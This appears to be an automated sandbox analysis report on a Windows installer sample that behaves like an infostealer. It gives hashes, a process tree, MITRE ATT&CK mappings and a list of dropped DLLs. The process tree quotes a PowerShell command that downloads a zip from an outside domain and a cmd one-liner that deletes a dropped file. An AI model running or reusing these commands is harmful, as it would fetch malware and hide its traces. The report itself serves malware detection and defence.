Analysis
- max time kernel
150s - max time network
137s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
09/09/2026, 07:30
Behavioral task
behavioral1
Sample
dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe
Resource
win10v2004-20260513-en
General
- Target dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe
- Size 3.9MB
- Sample260909-jbx76stycs
- SHA256 dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0
- MD5 c57d3b8f904ac65666b94afe3d8d3fb0
- SHA1 41494819473557c6c95918c1c2b58c8c71f58907
- SHA512 cc242c7a943ac60ee22efe268b67e91a6d28b306ac4637f0ed88c827b47893a3a760d13a7da1cb61ef91da3901e87d63bff26043ce0cfe1a5471a87f531d6011
- SSDEEP 98304:4rI5Ej7/aQOhhAyT/px0a/0af4L0gT9FtEkQ1AOMD:OIGjja1m4J4LV9FtQ1Lu
- TLSH T128160123B2CBE13EE45E0B3745B2A264A4FBAA216523ED56D6F4849CCF250501E3F747
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 4 1764 powershell.exe -
pid Process 1764 powershell.exe - Executes dropped EXE 3 IoCs
pid Process 3020 dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp 3040 dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp 3764 FnHotkeyUtility.exe - Loads dropped DLL 6 IoCs
pid Process 3764 FnHotkeyUtility.exe 3764 FnHotkeyUtility.exe 3764 FnHotkeyUtility.exe 3764 FnHotkeyUtility.exe 3764 FnHotkeyUtility.exe 3764 FnHotkeyUtility.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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resource yara_rule behavioral2/files/0x000d00000001c541-34.dat upx behavioral2/memory/3764-44-0x00007FFB15480000-0x00007FFB1568F000-memory.dmp upx behavioral2/memory/3764-50-0x00007FFB15480000-0x00007FFB1568F000-memory.dmp upx behavioral2/memory/3764-49-0x00007FFB15480000-0x00007FFB1568F000-memory.dmp upx behavioral2/memory/3764-51-0x00007FFB15480000-0x00007FFB1568F000-memory.dmp upx behavioral2/memory/3764-65-0x00007FFB15480000-0x00007FFB1568F000-memory.dmp upx behavioral2/memory/3764-72-0x00007FFB15480000-0x00007FFB1568F000-memory.dmp upx - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1396 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1396 cmd.exe 2836 PING.EXE - Inno Setup is an open-source installation builder for Windows applications. 4 IoCs
Inno Setup installer
resource yara_rule behavioral2/memory/4856-0-0x00000000009B0000-0x0000000000A88000-memory.dmp innosetup behavioral2/memory/2468-9-0x00000000009B0000-0x0000000000A88000-memory.dmp innosetup behavioral2/memory/4856-11-0x00000000009B0000-0x0000000000A88000-memory.dmp innosetup behavioral2/memory/2468-43-0x00000000009B0000-0x0000000000A88000-memory.dmp innosetup - Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 FnHotkeyUtility.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID FnHotkeyUtility.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs FnHotkeyUtility.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 FnHotkeyUtility.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID FnHotkeyUtility.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs FnHotkeyUtility.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 2836 PING.EXE - Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 3040 dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp 3040 dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp 3764 FnHotkeyUtility.exe 3764 FnHotkeyUtility.exe 1764 powershell.exe 1764 powershell.exe 1764 powershell.exe 3764 FnHotkeyUtility.exe 3764 FnHotkeyUtility.exe 3764 FnHotkeyUtility.exe 3764 FnHotkeyUtility.exe 3764 FnHotkeyUtility.exe 3764 FnHotkeyUtility.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1764 powershell.exe Token: SeDebugPrivilege 3764 FnHotkeyUtility.exe Token: SeDebugPrivilege 3764 FnHotkeyUtility.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3040 dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp - Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 4856 wrote to memory of 3020 4856 dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe 89 PID 3020 wrote to memory of 2468 3020 dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp 90 PID 2468 wrote to memory of 3040 2468 dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe 91 PID 3040 wrote to memory of 3764 3040 dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp 92 PID 3764 wrote to memory of 1764 3764 FnHotkeyUtility.exe 98 PID 3764 wrote to memory of 1396 3764 FnHotkeyUtility.exe 100 PID 1396 wrote to memory of 2836 1396 cmd.exe 102
Processes
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C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe"C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4856 -
C:\Users\Admin\AppData\Local\Temp\is-TL003.tmp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp"C:\Users\Admin\AppData\Local\Temp\is-TL003.tmp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp" /SL5="$400A8,3074722,825856,C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3020 -
C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe"C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe" /VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Users\Admin\AppData\Local\Temp\is-K84V8.tmp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp"C:\Users\Admin\AppData\Local\Temp\is-K84V8.tmp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp" /SL5="$500A8,3074722,825856,C:\Users\Admin\AppData\Local\Temp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.exe" /VERYSILENT /PASSWORD=PLACEHOLDER_PASSWORD4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3040 -
C:\ProgramData\e1d9fa96-a06f-4bd8-986a-7a085968fbe7\FnHotkeyUtility.exe"C:\ProgramData\e1d9fa96-a06f-4bd8-986a-7a085968fbe7\FnHotkeyUtility.exe" -Embedding5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://internet-homepage.digital/ext.zip' -OutFile './ext_download.zip'"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1764
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C:\Windows\SYSTEM32\cmd.execmd.exe /C "ping 127.0.0.1 -n 3 >NUL & del sds.exe >NUL 2>&1"6⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1396 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 37⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2836
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2732
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1912
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\e1d9fa96-a06f-4bd8-986a-7a085968fbe7\FnHotkeyUtility.exe
- Size 1.3MB
- SHA256 2728e26af764a64dd31f6df20bad9ce68f27a1c54628abf7353a62f5e67a9dff
- MD5 ac01b1efe9bdd6c127bcb489765e935d
- SHA1 2ba7bbcf28c0171e51bd31ed8f4c9695134de3dc
- SHA512 3ada07d1a35e80f726229ca3266eabc296500853274cc04be76d59461a80fc9ee8a1bc28678a20423f1fcf0ff194de5b629452250dd5be7a08c25bf52df84a35
- SSDEEP 24576:RHGG1DQA1jJiCmuz8OPzbWFa4WbaMrres:R2A1lXyQbWFbw
- TLSH T10355271263F90058F1F3AB7AAEB69161DA37BC992A31C49F4540B11D0D3BB91DAB4733
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\e1d9fa96-a06f-4bd8-986a-7a085968fbe7\VCRUNTIME140_1.dll
- Size 46KB
- SHA256 e30874ceaf6b8dfe72ba67e5c1f21027d79cb3a873a32eb12c5ed89bfa660d1f
- MD5 f17586db47571622455a6f57fecdda53
- SHA1 5ca5ef3ca3eb244174a5b912b6c7ea607247e6eb
- SHA512 d942964b65b1df656025b848ed2f6b423c6cdffd6626855b7f39a7152fc4ffa20672214e7c0ff1075130363127a5db35b98831ada51596d4d322387a7d0a0708
- SSDEEP 768:Ime4gSbOzTRU2RESkCW89wf9fV49zBA9USp9HPisSg:cO0r9KfWzB4Dx5P
- TLSH T1BD236CE5A7781043E86BD974C0D76F27BD38F6D21B90A28B0665D1480E537D0AB3D32B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\e1d9fa96-a06f-4bd8-986a-7a085968fbe7\ludp.dll
- Size 1.6MB
- SHA256 a62f73b7cef738ebd9963744665aa85772b428aef214f07f8112ff3816b09241
- MD5 084f247502e6054ada4a65a8935a4396
- SHA1 1794e9b5e818cbcc378f48cdc336e055020fa321
- SHA512 f1fcddbe75d98ad5d1d7d3951730d0451663aab00a355ad38298a33e36df7be057f9cddc97e38fab9368a804b97c3af6893eaa84b25b16fab21e692fad45fe47
- SSDEEP 49152:/Gtlq7kjBH5M5QMSA7i57S3OD8CK6Iwg:JA0iSe
- TLSH T110757D0AB6B801B9D1A7C1788A57990BE7B174061F74A7DF12A0479E2F33FE1563E321
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\e1d9fa96-a06f-4bd8-986a-7a085968fbe7\msvcp140.dll
- Size 571KB
- SHA256 a68a9ac35aa1e183fe3bd9e7144259631530db07502112a339e5e1c8dccc9a31
- MD5 990a590eb079f420946fde91975798b9
- SHA1 e78619eea4699bbb24a32051842ae15a971f7107
- SHA512 6ccf8b198986de3478411233514803b22750560da419cbcb052ff963ebfea40386d54db6c335d7cd771503eb93693b872ff3c1bf39385eabc7fdd06ca40f6296
- SSDEEP 12288:jSTTigI46Bb3SUPvRgrKtzL4oaQEKZm+jWodEEVPLwtQN:jUStZaQEKZm+jWodEE9CQN
- TLSH T18EC41A13B75905A0E195E3B8A1878306D7F1BC4A8312A3C792FBD6AD2F673D1673B250
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\e1d9fa96-a06f-4bd8-986a-7a085968fbe7\spkvol.dll
- Size 2.8MB
- SHA256 c08d2dde12b92588ffb568d4e96be1be32baa8bb4f420f31948b22b8f56888d0
- MD5 d79a9d7f430f3c923bf7b06845b40c38
- SHA1 5b1b93db54dbfd2195bf38544a9b11574c6c6c1a
- SHA512 e288db92f2e759db442bc52c180aeb727f4323c69252b776810bb06f1ec5b8c2678597356657e7eca2b467e18405fccaf7e99f549f498841ebd79b35e6120a16
- SSDEEP 24576:RRB0di2v5R1m5SokfKNRLVxidXl8s/iT4:RX2pv5RM5Bi4RL5OiT4
- TLSH T121D52392511E5E59FDA52EBDB8EB4901CCE3B91003A0DD2293B4CF7D9253686036BB73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\e1d9fa96-a06f-4bd8-986a-7a085968fbe7\vcruntime140.dll
- Size 101KB
- SHA256 5dc711b1f190df5b1257b92883e9c3f10cb4e953591da13dd50d9f0c7a4af695
- MD5 c5bc6d2136f51d438af4dbe8ef8103d1
- SHA1 186e176ad2df3df728acd5c5b0dee6dcdf036e80
- SHA512 2ae122c612882a4a5f16bd5c69e5ed4b3e5e87d52f979d2e0e34254f397c63ae1dbeb5ab64c35c640b17d626aa4feafc6927f745102e1ac13f1837f1e665eeaa
- SSDEEP 1536:m3qPWvVCMgfw2eeWqjOebgk0jIpePxd76LGYU8j6ecbolG8E/4xPcj888iiBg9z:m66dsFeeBGPj1L6LGY+ecboCN78iZ
- TLSH T1CAA3AE8567A801A6D46BD030C1E1DE47FE35B2C6473046DF03A9D6AE0F53BE29B39B16
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\is-TL003.tmp\dd26f0e525184b6c7fe2b4e08586a9f56c6c374b8fdba6b2e6b5e77d841203c0.tmp
- Size 3.3MB
- SHA256 0a068b3a909318f12bc58257b1a38cc8c021eb6cad022d182a8248e01b963efd
- MD5 6a1bb3d23f9fc4a473ff1c016ba80260
- SHA1 40701321cea20bc388f470e420a9f7973bbf4877
- SHA512 bad1b1f9c9b683799e425a0dd53cc5f7168a1f9bd2a9ab6ae8e3ba19d73e0ced788b1ac300a77324e4b60e4161d88ef89caa5dfbb5b85c4aea424fbae774b7fe
- SSDEEP 49152:ciE8NvQCX7lF4RQSxPodbxsl7IwDksRinJwj9LaDjppz0oohQ333UC:ciE8OQMlIwDkZqBL8333j
- TLSH T18AF56C23F34D603EF06A1A39DD379658983B7A606916CC5797FC3A4C8F361402E2A75B
- MD5 SHA1 SHA512 SSDEEP TLSH